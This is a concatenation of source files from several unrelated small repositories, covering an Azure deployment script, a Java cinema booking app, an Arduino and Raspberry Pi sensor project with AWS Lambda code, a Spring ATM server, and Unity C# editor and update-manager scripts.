This document, or the code samples that it accompanies, may not be reproduced in whole or in part without the express written consent of the author. Information within can be used within your own projects.
<file_sep>/Notes/credentials.md
# Login Credentials
For easy reference, here are the login credentials for the demo server
Login: student
Password: <PASSWORD>
<file_sep>/Demo/adms.deploy.ps1
# If you do not have the Az (Azure) Module installed in PowerShell, you will need to install it
# Note you only need to do this once
# Install-Module Az
# Login to Azure. This will open your default web browser and ask you to login to Azure.
# If you are already logged in, it will just ask you to confirm the account to use
az login
# Set Account
# az account set --subscription "Visual Studio Ultimate with MSDN"
# az account set --subscription "Pay-As-You-Go"
az account set --subscription "Azure Free Trial"
# Create the resource group
az group create --location centralus --name acadmsrg
# This is to deploy from the Microsoft github site for this ADMS tutorial
# The amount of time it takes is dependant on your account and how busy
# Azure is, but times of 20 minutes are not uncommon
az group deployment create --name acadmsdeploy --resource-group acadmsrg --template-uri https://raw.githubusercontent.com/arcanecode/Introduction-to-the-Azure-Data-Migration-Service/master/Demo/adms.deploy.json --parameters https://raw.githubusercontent.com/arcanecode/Introduction-to-the-Azure-Data-Migration-Service/master/Demo/adms.parameters.json
#------------------------------------------------------------------------------
# This section is just some useful helper commands for use in dev
#------------------------------------------------------------------------------
# To reset when done, delete the group
# az group delete --name acadmsrg
# For this demo, we are using the centralus location. You may wish to change
# to a location closer to you. In order to get a list of locations, use the
# following command:
# az account list-locations --output table
|
9663e9c5d0dfd258411f4144699e14a03630efaa
|
[
"Markdown",
"PowerShell"
] | 8 |
Markdown
|
cjd1985/Introduction-to-the-Azure-Data-Migration-Service
|
8d6494581ece30dd13b83e4fdcc226b899a555fc
|
81ea3e6a05fe89683037d56f8772d50000e29f22
|
refs/heads/master
|
<repo_name>SavvaMey/job4j_cinema<file_sep>/db/schema.sql
CREATE TABLE accounts (
id SERIAL PRIMARY KEY,
fio text NOT NULL,
phone text unique NOT NULL
);
CREATE TABLE halls (
id serial PRIMARY KEY,
row int NOT NULL,
col int NOT NULL,
status bool NOT NULL DEFAULT false,
accaunt_id int references accounts(id)
);
INSERT INTO halls(row, col) VALUES (1, 1);
INSERT INTO halls(row, col) VALUES (1, 2);
INSERT INTO halls(row, col) VALUES (1, 3);
INSERT INTO halls(row, col) VALUES (2, 1);
INSERT INTO halls(row, col) VALUES (2, 2);
INSERT INTO halls(row, col) VALUES (2, 3);
INSERT INTO halls(row, col) VALUES (3, 1);
INSERT INTO halls(row, col) VALUES (3, 2);
INSERT INTO halls(row, col) VALUES (3, 3);<file_sep>/src/main/java/ru/job4j/model/Account.java
package ru.job4j.model;
public class Account {
private int id;
private String fio;
private String phone;
public Account(int id, String fio, String phone) {
this.id = id;
this.fio = fio;
this.phone = phone;
}
public int getId() {
return id;
}
public void setId(int id) {
this.id = id;
}
public String getFio() {
return fio;
}
public void setFio(String fio) {
this.fio = fio;
}
public String getPhone() {
return phone;
}
public void setPhone(String phone) {
this.phone = phone;
}
@Override
public String toString() {
return "Account{"
+ "id=" + id
+ ", fio='" + fio + '\''
+ ", phone='" + phone + '\''
+ '}';
}
}
<file_sep>/src/main/webapp/payment.jsp
<%@ page import="java.util.List" %>
<%@ page language="java" contentType="text/html;charset=UTF-8"%>
<%@ page pageEncoding="UTF-8"%>
<% request.setCharacterEncoding("UTF-8");%>
<%@ taglib prefix="c" uri="http://java.sun.com/jstl/core" %>
<!doctype html>
<html lang="en">
<head>
<!-- Required meta tags -->
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<!-- Bootstrap CSS -->
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="<KEY>" crossorigin="anonymous">
<!-- Optional JavaScript -->
<!-- jQuery first, then Popper.js, then Bootstrap JS -->
<script src="https://code.jquery.com/jquery-3.2.1.slim.min.js" integrity="<KEY>" crossorigin="anonymous"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js" integrity="<KEY>" crossorigin="anonymous"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js" integrity="<KEY>6PVCmYl" crossorigin="anonymous"></script>
<title>Hello, world!</title>
<script>
function validate() {
let result = true;
let fio = $('#username').val();
let phone = $('#phone').val();
let regexp = /^[\+\d]\d{10,20}/;
phone.match(regexp)
if (phone.match(regexp) === null || fio === '') {
alert("введите корректные данные")
result = false;
}
return result;
}
</script>
</head>
<body>
<%
int sum = 0;
%>
<div class="container">
<div class="row pt-3">
<c:forEach items="${hallPlaces}" var="hallPlace">
<h3>
Вы выбрали ряд <c:out value="${hallPlace.row}"/> место <c:out value="${hallPlace.col}"/>, цена : 500 рублей.
<%
sum += 500;
%>
</h3>
</c:forEach>
</div>
<div class="row pt-3">
<h4>
Сумма: <%=sum%> рублей
</h4>
</div>
<div class="row">
<form action="<%=request.getContextPath()%>/payment" method="post">
<div class="form-group">
<label for="username">ФИО</label>
<input type="text" class="form-control" name="username" id="username" placeholder="<NAME>">
</div>
<div class="form-group">
<label for="phone">Номер телефона</label>
<input type="text" class="form-control" name="phone" id="phone" placeholder="+79120000000">
</div>
<button type="submit" class="btn btn-success" onclick="return validate();">Оплатить</button>
</form>
</div>
</div>
</body>
</html><file_sep>/README.md
#job4j_cinema
[](https://www.travis-ci.com/SavvaMey/job4j_cinema)
[](https://codecov.io/gh/SavvaMey/job4j_cinema)
|
c672f57b99715e42c0f47ed6185b5e39e76fdd49
|
[
"Java",
"Markdown",
"SQL",
"Java Server Pages"
] | 4 |
Java
|
SavvaMey/job4j_cinema
|
2a82328a8cddc5f63f1c762b0a82bec749f6eb7f
|
514eba4e3ef643e80e352aa331c139454986edd3
|
refs/heads/master
|
<repo_name>manjil21/iotAssignment3<file_sep>/RasPieVM/location1withlight.py
import serial
import csv
import requests
def check_data() :
link= "https://6axn3pspr8.execute-api.us-east-1.amazonaws.com/default/control_fan_light"
data = requests.get(link)
result = data.text
if (result.find("light") != -1) :
ser.write("on".encode())
else :
ser.write("off".encode())
def api_call(temp,light):
location = "location1"
link= "https://fezxb1dnk0.execute-api.us-east-1.amazonaws.com/default/writetodb?temp="+str(temp)+"&light="+str(light)+"&location="+location
data = requests.get(link)
result = data.text
return result
ser = serial.Serial('/dev/ttyACM0',baudrate = 115200)
print("connected to :" + ser.portstr)
while 1 :
check_data()
reading = ser.readline().strip()
allreading = reading.split( )
temp = float(allreading[0])
light = float(allreading[1])
result = api_call(temp,light)
print(result)
<file_sep>/RasPieVM/location2withfan.py
import serial
import csv
import requests
def checkdata():
link= "https://6axn3pspr8.execute-api.us-east-1.amazonaws.com/default/control_fan_light"
data = requests.get(link)
result = data.text
if (result.find("fan") != -1) :
ser.write("on".encode())
else :
ser.write("off".encode())
def api_call(temp,light):
location = "location2"
link= "https://fezxb1dnk0.execute-api.us-east-1.amazonaws.com/default/writetodb?temp="+str(temp)+"&light="+str(light)+"&location="+location
data = requests.get(link)
result = data.text
return result
arduino = serial.Serial('/dev/ttyACM0',baudrate = 9600)
print("connected to :" + arduino.portstr)
while 1 :
checkdata()
# Read Serialised Values
LightVal = arduino.readline()
TemperatureVal = arduino.readline()
# Conversion to readable format & Prints onto Terminal
Lumens = LightVal.decode("utf-8")
Celsius = TemperatureVal.decode("utf-8")
print(Lumens)
print(Celsius)
# Removes /r /n at the end value...
Lumens = LightVal[0:-2]
Celsius = TemperatureVal[0:-2]
temp = float(Celsius)
light = float(Lumens)
result = api_call(temp,light)
print(result)
<file_sep>/cloud/lambda_checkdata.py
import json
import sys
import logging
from datetime import datetime
import pymysql
def check_data(dbConn) :
cursor = dbConn.cursor()
cursor.execute("SELECT temperature,light from templight ORDER BY id DESC LIMIT 1;")
result = cursor.fetchall()
for row in result :
temp = float(row[0])
light = float(row[1])
if (temp >10.0 and light < 200.0) :
ans = "lightfan"
elif (light <200.0) :
ans = "light"
elif (temp > 10.0 ) :
ans ="fan"
else :
ans= "off"
return ans
def lambda_handler(event ,context) :
dbConn = pymysql.connect("sensordata1.ccnxzgpssokn.us-east-1.rds.amazonaws.com","<PASSWORD>","<PASSWORD>","sensor_data") or die("COuld not connect to the db")
print(dbConn)
result = check_data(dbConn)
dbConn.close()
return {
'statusCode' : 200,
'body' : json.dumps(result)
}
<file_sep>/aurdino/location2.ino
#include <DHT.h>
#include <math.h>
const int Fan = 3;
const int Temp_Sensor = 9;
const int Light_Sensor = A0;
float LightReading;
float Lux;
float TempReading;
float Temperature;
//float Threshold = 50;
String State = "ON";
String data = "";
void setup()
{
// Put your setup code here, to run once:
Serial.begin(9600);
pinMode(Fan, OUTPUT);
pinMode(Temp_Sensor, INPUT);
pinMode(Light_Sensor, INPUT);
}
void loop()
{
// Put your main code here, to run repeatedly:
delay(1000);
// Reading Values from sensors...
LightReading = analogRead(Light_Sensor);
// Lux = Light(LightReading);
Lux = LightReading;
TempReading = analogRead(Temp_Sensor);
float Voltage = (TempReading * 3.3) / 1024.0; // Voltage
Temperature = (Voltage - 0.5) * 100; // Celsius
// Temperature = (Voltage * 9.0 / 5.0) + 32.0; // Farenheit
Serial.println(Lux); //Lux
Serial.println(Temperature); //Temperature
check_fan();
/*
if (Lux > Threshold)
{
digitalWrite(Fan, HIGH);
State = "ON";
}
else
{
digitalWrite(Fan, LOW);
State = "OFF";
}
*/
}
void check_fan()
{
if(Serial.available() > 0){
data = Serial.readStringUntil('\n');
//fan is on when vm send serial communication to on it
if (data== "on") {
digitalWrite(Fan, HIGH);
State = "ON";
}
else {
digitalWrite(Fan, LOW);
State = "OFF";
}
}
}
<file_sep>/aurdino/location3.ino
#include <math.h>
double Thermister(int RawADC) {
double Temp;
Temp = log(((10240000 / RawADC) - 10000));
Temp = 1 / (0.001129148 + (0.000234125 + (0.0000000876741 * Temp * Temp )) * Temp );
Temp = Temp - 273.15;
return Temp;
}
#define lightSensorPin A1
int lightSensorValue = 0;
void setup() {
pinMode(lightSensorPin, INPUT);
Serial.begin(115200);
}
void loop() {
lightSensorValue = analogRead(lightSensorPin);
serial_print();
delay(5000);
}
void serial_print()
{
Serial.print(Thermister(analogRead(0)));
Serial.print(" ");
Serial.println(lightSensorValue);
}
<file_sep>/aurdino/location1.ino
#include <dht.h>
#define lightSensorPin A0
#define tempPin 7
#define redled 4
#define blueled 5
#define greenled 6
dht DHT;
int lightSensorValue = 0;
int tempValue = 0;
String data = "off";
void setup() {
pinMode(lightSensorPin,INPUT);
pinMode(tempPin,INPUT);
pinMode(redled,OUTPUT);
pinMode(blueled,OUTPUT);
pinMode(greenled,OUTPUT);
Serial.begin(115200);
}
void loop() {
DHT.read11(tempPin);
tempValue=DHT.temperature;
lightSensorValue = analogRead(lightSensorPin);
serial_print();
check_led();
delay(5000);
}
void serial_print()
{
Serial.print(tempValue);
Serial.print(" ");
Serial.println(lightSensorValue);
}
void check_led()
{
if(Serial.available() > 0){
data = Serial.readStringUntil('\n');
//light on the RBG led if signal is on else turn it off
if (data== "on" || data== "fan_on" ) {
digitalWrite(redled,HIGH);
digitalWrite(blueled,HIGH);
digitalWrite(greenled,LOW);
}
else {
digitalWrite(redled,LOW);
digitalWrite(blueled,LOW);
digitalWrite(greenled,LOW);
}
}
}
<file_sep>/RasPieVM/write_to_csv.py
import csv
import pymysql
#connection
dbConn = pymysql.connect("sensordata1.ccnxzgpssokn.us-east-1.rds.amazonaws.com","<PASSWORD>","<PASSWORD>","sensor_data") or die("COuld not connect to the db")
print(dbConn)
dbcursor = dbConn.cursor()
query = "SELECT * FROM templight;"
dbcursor.execute(query)
result = dbcursor.fetchall()
#export to csv
with open ("new_file.csv","w") as file :
for row in result :
csv.writer(file).writerow(row)
dbcursor.close()
del dbcursor
dbConn.close()
<file_sep>/cloud/lamdba_writetodb.py
import json
import sys
import logging
from datetime import datetime
import pymysql
def write_data(temp , light , location) :
current = datetime.now()
current_date = current.strftime("%d/%m/%Y")
current_time = current.strftime("%H:%M:%S")
cursor = dbConn.cursor()
cursor.execute("INSERT into templight (temperature,light,location,date,time) Values(%s,%s,%s,%s,%s)" ,(temp,light,location,current_date,current_time))
dbConn.commit()
print(cursor.rowcount,"Value added to database.")
cursor.close()
#connection
dbConn = pymysql.connect("sensordata1.ccnxzgpssokn.us-east-1.rds.amazonaws.com","<PASSWORD>","<PASSWORD>","<PASSWORD>") or die("COuld not connect to the db")
print(dbConn)
dbcursor = dbConn.cursor()
#checking if there is already sensordata table if not creating one
query = "SHOW TABLES LIKE 'templight'; "
dbcursor.execute(query)
result = dbcursor.fetchall()
if result :
print("table exists")
else :
query1 = "CREATE TABLE templight(id INT(20) UNSIGNED AUTO_INCREMENT PRIMARY KEY, temperature FLOAT(4) NOT NULL, light FLOAT(6) NOT NULL,location VARCHAR(20) NOT NULL,date VARCHAR(11) NOT NULL,time VARCHAR(11) NOT NULL);"
dbcursor.execute(query1)
("Table created")
def lamda_handler (event ,context) :
http_method = event ['httpMethod']
if http_method == "GET" :
temp = float(event['queryStringParameters']['temp'])
light = float(event['queryStringParameters']['light'])
location = event['queryStringParameters']['location']
result = write_data(temp,light,location)
db.close()
return {
'statusCode' : 200,
'body' : json.dumps(result)
}
<file_sep>/RasPieVM/data_visualization.py
# Importing Libraries
import pandas as pd
from pandas import read_csv
from matplotlib import pyplot as plt
# Load dataset
url = "https://soundlightdata.s3-ap-southeast-2.amazonaws.com/Data.csv"
names = ['id','temperature','lumens','location','date', 'time']
dataset = read_csv(url, names = names)
# Mean, STDev, Variance --> Location1
print("Location 1 Data")
print('%s: Mean: %f, StDev: %f, Variance: %f' % ('Lumens -->', dataset.query('location == "location1"')['lumens'].mean(), dataset.query('location == "location1"')['lumens'].std(), dataset.query('location == "location1"')['lumens'].var()))
print('%s: Mean: %f, StDev: %f, Variance: %f \n' % ('Temperature -->', dataset.query('location == "location1"')['temperature'].mean(), dataset.query('location == "location1"')['temperature'].std(), dataset.query('location == "location1"')['temperature'].var()))
# Mean, STDev, Variance --> Location2
print("Location 2 Data")
print('%s: Mean: %f, StDev: %f, Variance: %f' % ('Lumens -->', dataset.query('location == "location2"')['lumens'].mean(), dataset.query('location == "location2"')['lumens'].std(), dataset.query('location == "location2"')['lumens'].var()))
print('%s: Mean: %f, StDev: %f, Variance: %f \n' % ('Temperature -->', dataset.query('location == "location2"')['temperature'].mean(), dataset.query('location == "location2"')['temperature'].std(), dataset.query('location == "location2"')['temperature'].var()))
# Mean, STDev, Variance --> Location3
print("Location 3 Data")
print('%s: Mean: %f, StDev: %f, Variance: %f' % ('Lumens -->', dataset.query('location == "location3"')['lumens'].mean(), dataset.query('location == "location3"')['lumens'].std(), dataset.query('location == "location3"')['lumens'].var()))
print('%s: Mean: %f, StDev: %f, Variance: %f \n' % ('Temperature -->', dataset.query('location == "location3"')['temperature'].mean(), dataset.query('location == "location3"')['temperature'].std(), dataset.query('location == "location3"')['temperature'].var()))
# Stores Lumens
Location1_Lumens = []
Location2_Lumens = []
Location3_Lumens = []
Location1_Lumens.append(dataset.query('location == "location1"')['lumens'])
Location2_Lumens.append(dataset.query('location == "location2"')['lumens'])
Location3_Lumens.append(dataset.query('location == "location3"')['lumens'])
# Stores Temperature
Location1_Temp = []
Location2_Temp = []
Location3_Temp = []
Location1_Temp.append(dataset.query('location == "location1"')['temperature'])
Location2_Temp.append(dataset.query('location == "location2"')['temperature'])
Location3_Temp.append(dataset.query('location == "location3"')['temperature'])
# Normal Plots
fig, axes1 = plt.subplots(2,2)
axes1[0,0].set_title("Temperature (Overall)")
axes1[0,0].set_xlabel("Id's")
axes1[0,0].set_ylabel("Temperature (°c) ")
axes1[0,0].plot(dataset.id, dataset.temperature, label = 'Temperature')
axes1[0,1].set_title("Lumens (Overall)")
axes1[1,0].set_xlabel("Id's")
axes1[1,0].set_ylabel("Lumens (lm)")
axes1[0,1].plot(dataset.id, dataset.lumens, label = 'Lumens')
axes1[1,0].set_title("Temperature Graph")
axes1[1,0].set_xlabel("Lumens (lm)")
axes1[1,0].set_ylabel("Temperature (°c) ")
axes1[1,0].plot(dataset.lumens, dataset.temperature, label = 'Temp/Light')
axes1[1,1].set_title("Lumens Graph")
axes1[1,1].set_xlabel("Temperature (°c)")
axes1[1,1].set_ylabel("Lumens (lm)")
axes1[1,1].plot(dataset.temperature, dataset.lumens, label = 'Light/Temp')
# Location Lumens
fig2, axes2 = plt.subplots(2,2)
axes2[0,0].set_title("Location1 Lumens")
axes2[0,0].set_xlabel("Location 1")
axes2[0,0].set_ylabel("Lumens (lm)")
axes2[0,0].boxplot(Location1_Lumens)
axes2[0,1].set_title("Location2 Lumens")
axes2[0,1].set_xlabel("Location 2")
axes2[0,1].set_ylabel("Lumens (lm)")
axes2[0,1].boxplot(Location2_Lumens)
axes2[1,0].set_title("Location3 Lumens")
axes2[1,0].set_xlabel("Location 3")
axes2[1,0].set_ylabel("Lumens (lm)")
axes2[1,0].boxplot(Location3_Lumens)
# Location Temps
fig3, axes3 = plt.subplots(2,2)
axes3[0,0].set_title("Location1 Temp")
axes3[0,0].set_xlabel("Location 1")
axes3[0,0].set_ylabel("")
axes3[0,0].boxplot(Location1_Temp)
axes3[0,1].set_title("Location2 Temp")
axes3[0,1].set_xlabel("Location 2")
axes3[0,1].set_ylabel("")
axes3[0,1].boxplot(Location2_Temp)
axes3[1,0].set_title("Location3 Temp")
axes3[1,0].set_xlabel("Location 3")
axes3[1,0].set_ylabel("Temperature")
axes3[1,0].boxplot(Location3_Temp)
# Adjusting Plots
fig.subplots_adjust(hspace = 0.6, wspace = 0.6)
fig2.subplots_adjust(hspace = 0.6, wspace = 0.6)
fig3.subplots_adjust(hspace = 0.6, wspace = 0.6)
plt.show()
|
4191da2a622a474e12cf927115e7b949acedab74
|
[
"C++",
"Python"
] | 9 |
C++
|
manjil21/iotAssignment3
|
5ab13e4197eaca893310af9e445dc109c5d80de8
|
4a02364ad234a79c431f8de97eee3e0dbacedf72
|
refs/heads/master
|
<repo_name>juhnaorodrigues/caixa-eletronico-server<file_sep>/src/main/java/com/governo/secretaria/security/JwtGenerator.java
package com.governo.secretaria.security;
import com.governo.secretaria.security.entity.JwtUser;
import com.governo.secretaria.util.Util;
import io.jsonwebtoken.Claims;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SignatureAlgorithm;
import org.springframework.stereotype.Component;
/**
* Created by Juhnao on 1/11/18.
*/
@Component
public class JwtGenerator {
/**
* Metodo para gerar o token com as informações do usuário.
* @param jwtUser possui as informações do usuario encontrado no banco de dados.
* @return token gerado.
*/
public String generate(JwtUser jwtUser) {
Claims claims = Jwts.claims().setSubject(jwtUser.getLogin());
claims.put("userId", String.valueOf(jwtUser.getId()));
claims.put("role", jwtUser.getRole());
return Jwts.builder().setClaims(claims).signWith(SignatureAlgorithm.HS512, "youtube").compact();
}
}
<file_sep>/src/main/java/com/governo/secretaria/entity/request/QuantidadeCedulasRequest.java
package com.governo.secretaria.entity.request;
/**
* Created by Juhnao on 1/18/18.
*/
public class QuantidadeCedulasRequest {
private int quantidadeCedulas10;
private int quantidadeCedulas20;
private int quantidadeCedulas50;
private int quantidadeCedulas100;
public int getQuantidadeCedulas10() {
return quantidadeCedulas10;
}
public void setQuantidadeCedulas10(int quantidadeCedulas10) {
this.quantidadeCedulas10 = quantidadeCedulas10;
}
public int getQuantidadeCedulas20() {
return quantidadeCedulas20;
}
public void setQuantidadeCedulas20(int quantidadeCedulas20) {
this.quantidadeCedulas20 = quantidadeCedulas20;
}
public int getQuantidadeCedulas50() {
return quantidadeCedulas50;
}
public void setQuantidadeCedulas50(int quantidadeCedulas50) {
this.quantidadeCedulas50 = quantidadeCedulas50;
}
public int getQuantidadeCedulas100() {
return quantidadeCedulas100;
}
public void setQuantidadeCedulas100(int quantidadeCedulas100) {
this.quantidadeCedulas100 = quantidadeCedulas100;
}
}
<file_sep>/src/main/java/com/governo/secretaria/controller/CedulaController.java
package com.governo.secretaria.controller;
import com.governo.secretaria.entity.Cedula;
import com.governo.secretaria.repository.CedulaRepository;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RestController;
import java.util.List;
/**
* Created by Juhnao on 1/17/18.
*/
@CrossOrigin(origins = "*", maxAge = 3600)
@RestController
public class CedulaController {
private CedulaRepository cedulaRepository;
@Autowired
public CedulaController(CedulaRepository cedulaRepository) {
this.cedulaRepository = cedulaRepository;
}
@RequestMapping(value = "rest/cedula/findAll", method = RequestMethod.GET)
public List<Cedula> findAll() {
return cedulaRepository.findAll();
}
}
<file_sep>/src/main/java/com/governo/secretaria/entity/Pessoa.java
package com.governo.secretaria.entity;
import javax.persistence.*;
/**
* Created by Juhnao on 1/16/18.
*/
@Entity
@SequenceGenerator(name="SEQ_PESSOA_ID", sequenceName="SEQ_PESSOA_ID")
public class Pessoa {
@Id
@Column(name = "pess_id", unique = true, nullable = false)
private long id;
@Column(name = "pess_login", unique = true, nullable = false, length = 50)
private String login;
@Column(name = "pess_nome", unique = true, nullable = false, length = 200)
private String nome;
@Column(name = "pess_senha", unique = true, nullable = false, length = 50)
private String senha;
@Column(name = "pess_role", unique = true, nullable = false, length = 10)
private String role;
public String getNome() {
return nome;
}
public void setNome(String nome) {
this.nome = nome;
}
public String getSenha() {
return senha;
}
public void setSenha(String senha) {
this.senha = senha;
}
public String getLogin() {
return login;
}
public void setLogin(String login) {
this.login = login;
}
public String getRole() {
return role;
}
public void setRole(String role) {
this.role = role;
}
public long getId() {
return id;
}
public void setId(long id) {
this.id = id;
}
}
|
710a34f452e95882c814f6315774eb8be8805b09
|
[
"Java"
] | 4 |
Java
|
juhnaorodrigues/caixa-eletronico-server
|
544f9de58301fbf39db9ab8777bbb06e4f3a3d63
|
4c68d7e0ca9b619143931cc8f5a9a4f7cc863f04
|
refs/heads/master
|
<repo_name>tchyung/CPSC457_Assignment4<file_sep>/TokenRingAgent.java
public class TokenRingAgent
{
//instance variables
private Token ID;
private boolean Active;
private int procID;
private int RingPredecessor;
private int RingSuccessor;
// takes in the proccesser ID and the total number of processes.
// Intially token ID is null, Active is false, and predecessor and successor is the procID -1 +1 respectively.
// unless procID is either 0 or the last processor, which it loops around for
public TokenRingAgent(int procID, int procNumber) {
this.ID = null;
this.Active = false;
this.procID = procID;
if(procID == 0)
this.RingPredecessor = (procNumber-1);
else
this.RingPredecessor = (procID-1);
if(procID == procNumber-1)
this.RingSuccessor = 0;
else
this.RingSuccessor = (procID+1);
}
// TODO: says to return the unique identifier for the token received. not sure if this is all we need for this
// but if it doesnt havea a token ID it'll just return null atm.
public Token RecieveToken()
{
return this.ID;
}
// TODO: not entirely sure what's supposed to happen here. Says we need to send the token to the successor but technically
// the process should already have the token inside it if this is called so not sure why it takes in a token. Also not sure how to send
// the token over since the successor is another element inside the array. either way this and the above need a bit of work
public void SendToken(Token t)
{
}
// sets Active to false. Not sure if needed but we doesnt hurt to have
public void SetFalse()
{
this.Active = false;
}
// sets Active to true.
public void SetTrue()
{
this.Active = true;
}
}
|
e6211b37a1206c2f448405bab5b506234695e0c3
|
[
"Java"
] | 1 |
Java
|
tchyung/CPSC457_Assignment4
|
ec379eca9c9b59b5f5a12676f30a6fa7c86d7526
|
a240b250b7cdcb8bc9bfccbdd1f1ea891b75303b
|
refs/heads/master
|
<file_sep>import React from 'react';
const NO_TODO_MESSAGE = "No tasks available";
const TodosList = ({todos, deleteTodo}) => {
// Return list of todo components
const todoList = todos.length ? (
todos.map( todo => {
return (
<div className="card todo-item" key={todo.id}>
<div className="card-content">
<span>{todo.content}</span>
<a onClick={() => {deleteTodo(todo.id)}} className="tag is-delete is-pulled-right"></a>
</div>
</div>
)
})) : (<p className="no-todos-display has-text-centered">{NO_TODO_MESSAGE}</p>);
return (
<div className="td-list panel">
{todoList}
</div>
)
}
export default TodosList;<file_sep>import React, {Component} from 'react';
const PLACEHOLDER = 'Enter task here';
class AddTodo extends Component {
state = {
content: ''
}
handleChange = event => {
// Set content when detecting change from input
this.setState({
content: event.target.value
})
}
handleFormSubmit = event => {
// Prevent default form submission to override
event.preventDefault();
this.props.addTodo(this.state);
// Reset state upon submission
this.setState( {
content: ''
});
}
render() {
return (
<div className="todo-input-container">
<form onSubmit={this.handleFormSubmit}>
<p className="control is-expanded">
<input onChange={this.handleChange} className="input" placeholder={PLACEHOLDER} value={this.state.content}></input>
</p>
</form>
</div>
)
}
}
export default AddTodo;<file_sep># React Todo
Simple react app for creating a todo list.
CI/CD implemented via Heroku: [Demo](https://huz-khan-react-todo.herokuapp.com/)
## Technologies
- React
- SCSS
- Bulma
- Node
- Express
- Heroku
## Scripts
### `npm start`
Runs the app in the development mode.<br>
Open [http://localhost:3000](http://localhost:3000) to view it in the browser.
The page will reload if you make edits.<br>
You will also see any lint errors in the console.
### `npm run build`
Builds the app for production to the `build` folder.<br>
It correctly bundles React in production mode and optimizes the build for the best performance.
|
2a563768f58dd344c7d1c8a5cd3c747ee34bdbfe
|
[
"Markdown",
"JavaScript"
] | 3 |
Markdown
|
HuzaifaKhan94/react-todo
|
7aeb9aa4725e6db673bdaa708788a997c1cb0aab
|
1a095ac553d796bb592e71d0ee990d1ce3f75e33
|
refs/heads/master
|
<repo_name>LucasJoestar/Nowhere<file_sep>/Assets/EnhancedEditor/Scripts/Editor/Attributes/PropertyDrawers/ReadOnlyPropertyDrawer.cs
using UnityEditor;
using UnityEngine;
namespace EnhancedEditor.Editor
{
[CustomPropertyDrawer(typeof(ReadOnlyAttribute))]
public class ReadOnlyPropertyDrawer : PropertyDrawer
{
#region Methods
/***************************
******* METHODS *******
**************************/
// Make your own IMGUI based GUI for the property
public override void OnGUI(Rect _position, SerializedProperty _property, GUIContent _label)
{
ReadOnlyAttribute _attribute = (ReadOnlyAttribute)attribute;
EditorGUIEnhanced.ReadOnlyProperty(_position, _property, _label, _attribute.UseRadioToggle);
}
#endregion
}
}
<file_sep>/Assets/EnhancedEditor/Scripts/Core/Attributes/Properties/MinMaxAttribute.cs
using System;
using UnityEngine;
namespace EnhancedEditor
{
[AttributeUsage(AttributeTargets.Field, AllowMultiple = false, Inherited = true)]
public class MinMaxAttribute : PropertyAttribute
{
#region Fields
/**************************
******* FIELDS *******
*************************/
/// <summary>
/// Maximum allowed value.
/// </summary>
public readonly float MaxValue = 0;
/// <summary>
/// Minimum allowed value.
/// </summary>
public readonly float Minvalue = 0;
#endregion
#region Constructors
/********************************
******* CONSTRUCTORS *******
*******************************/
/// <summary>
/// Vector2 attribute used to manipulate a minimum and a maximum value respectively
/// in the vector x & y fields, restrained by minimum and maximum allowed values.
/// </summary>
/// <param name="_minValue">Minimum allowed value.</param>
/// <param name="_maxValue">Maximum allwoed value.</param>
public MinMaxAttribute(float _minValue, float _maxValue)
{
Minvalue = _minValue;
MaxValue = _maxValue;
}
#endregion
}
}
<file_sep>/Assets/EnhancedEditor/Scripts/Editor/Attributes/PropertyDrawers/MaxPropertyDrawer.cs
using UnityEditor;
using UnityEngine;
namespace EnhancedEditor.Editor
{
[CustomPropertyDrawer(typeof(MaxAttribute))]
public class MaxPropertyDrawer : PropertyDrawer
{
#region Methods
/***************************
******* METHODS *******
**************************/
// Make your own IMGUI based GUI for the property
public override void OnGUI(Rect _position, SerializedProperty _property, GUIContent _label)
{
MaxAttribute _attribute = (MaxAttribute)attribute;
EditorGUIEnhanced.MaxField(_position, _property, _label, _attribute.MaxValue);
}
#endregion
}
}
<file_sep>/Assets/Scripts/Update System/UpdateManager.cs
// ======= Created by <NAME> - https://github.com/LucasJoestar ======= //
//
// Notes :
//
// ========================================================================== //
using System.Collections.Generic;
using UnityEngine;
namespace Nowhere
{
#region Update Interfaces
// -------------------------------------------
// Update Interfaces
// -------------------------------------------
public interface IUpdate { void Update(); }
public interface ICameraUpdate { void Update(); }
public interface IInputUpdate { void Update(); }
public interface IMovableUpdate { void Update(); }
public interface IPhysicsUpdate { void Update(); }
#endregion
public class UpdateManager : MonoBehaviour
{
#region Fields
/// <summary>
/// Singleton instance.
/// </summary>
public static UpdateManager Instance { get; private set; }
// -----------------------
private List<IUpdate> updates = new List<IUpdate>();
private List<ICameraUpdate> cameraUpdates = new List<ICameraUpdate>();
private List<IInputUpdate> inputUpdates = new List<IInputUpdate>();
private List<IMovableUpdate> movableUpdates = new List<IMovableUpdate>();
private List<IPhysicsUpdate> physicsUpdates = new List<IPhysicsUpdate>();
#endregion
#region Methods
#region Registrations
/// <summary>
/// Registers an object on global update.
/// </summary>
public void Register(IUpdate _update) => updates.Add(_update);
/// <summary>
/// Unregisters an object from global update.
/// </summary>
public void Unregister(IUpdate _update) => updates.Remove(_update);
// -----------------------
/// <summary>
/// Registers an object on Camera update.
/// </summary>
public void Register(ICameraUpdate _update) => cameraUpdates.Add(_update);
/// <summary>
/// Unregisters an object from Camera update.
/// </summary>
public void Unregister(ICameraUpdate _update) => cameraUpdates.Remove(_update);
// -----------------------
/// <summary>
/// Registers an object on Input update.
/// </summary>
public void Register(IInputUpdate _update) => inputUpdates.Add(_update);
/// <summary>
/// Unregisters an object from Input update.
/// </summary>
public void Unregister(IInputUpdate _update) => inputUpdates.Remove(_update);
// -----------------------
/// <summary>
/// Register an object on Movable update.
/// </summary>
public void Register(IMovableUpdate _update) => movableUpdates.Add(_update);
/// <summary>
/// Unregister an object from Movable update.
/// </summary>
public void Unregister(IMovableUpdate _update) => movableUpdates.Remove(_update);
// -----------------------
/// <summary>
/// Register an object on Physics update.
/// </summary>
public void Register(IPhysicsUpdate _update) => physicsUpdates.Add(_update);
/// <summary>
/// Unregister an object from Physics update.
/// </summary>
public void Unregister(IPhysicsUpdate _update) => physicsUpdates.Remove(_update);
#endregion
